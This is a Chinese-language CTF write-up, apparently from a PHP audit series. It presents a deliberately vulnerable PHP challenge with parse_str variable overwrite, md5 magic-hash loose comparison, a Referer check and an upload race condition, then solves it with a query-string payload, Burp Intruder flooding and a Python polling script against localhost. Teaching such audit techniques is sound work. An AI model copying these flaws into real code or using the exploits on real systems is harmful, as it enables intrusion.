这里提供一个demo漏洞样例代码,以及demo的修复方法。

demo漏洞

demo漏洞修复

题目

看完了上述分析,不知道大家是否对 parse_str() 函数有了更加深入的理解,文中用到的CMS可以从 这里 下载,当然文中若有不当之处,还望各位斧正。如果你对我们的项目感兴趣,欢迎发送邮件到 hongrisec@gmail.com 联系我们。Day7 的分析文章就到这里,我们最后留了一道CTF题目给大家练手,题目如下:

index.php

1
2
3
4
5
6
7
8
9
//index.php
<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//uploadsomething.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
echo 'you can not see this page';
}
?>

index.php 第4行存在 @parse_str($id); 这个函数不会检查变量 $id 是否存在,如果通过其他方式传入数据给变量 $id ,且当前 $id 中数据存在,它将会直接覆盖掉。而在第6行有一段这样代码。

1
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))

PHP Hash比较存在缺陷 ,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。而这里的 md5(‘QNKCDZO’) 的结果是 0e830400451993494058024219903391 。所以payload为 ?id=a[0]=s878926199a 。这样就可以在页面上回显。

1
echo '<a href="uploadsomething.php">flag is here</a>';

而这题真正的考察点在这里。在 uploadsomething.php 的第三行和第四行有这样两句代码如下:

1
2
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false)

这里有个 refer 判断,判断 refer 是否存在,如果有展现上传页面,如果没有,就返回 you can not see this page

据我们所知,通过a标签点击的链接,会自己自动携带上refer字段。然后 携带refer不携带refer ,返回的结果不一样。

携带refer 的情况:

不携带refer 的情况:

然后在 uploadsomething.php 的第13行和第18行有这样代码如下:

1
2
3
4
5
6
$content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);

这里有一句关键就是 usleep(100000); 这题需要在写入 too slow 之前,访问之前写入的文件,即可获得flag,这里就存在时间竞争问题。但是我们看到其实这里的文件夹路径是固定写死的。

直接访问会返回 too slow

因此这里的解法是,开Burp的200线程,一个不断发包

1
http://127.0.0.1/parse_str/uploadsomething.php?filename=flag&content=111

burp发包是在 intruder 模块中,首先选择数据包,右键点击选择 Send to Intruder

然后在 positions 点击 clear 按钮

payload 中选择 payload typenull payloadsgenerate 选择200,然后再可以点击 start attack 了。

start attack 之前需要一个脚本不断请求下面这个链接

1
http://127.0.0.1/parse_str/uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/flag

脚本代码

1
2
3
4
5
6
import requests as r
r1=r.Session()
while (1):
r2=r1.get("http://127.0.0.1/parse_str/uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/flag")
print r2.text
pass

一会儿就看到了flag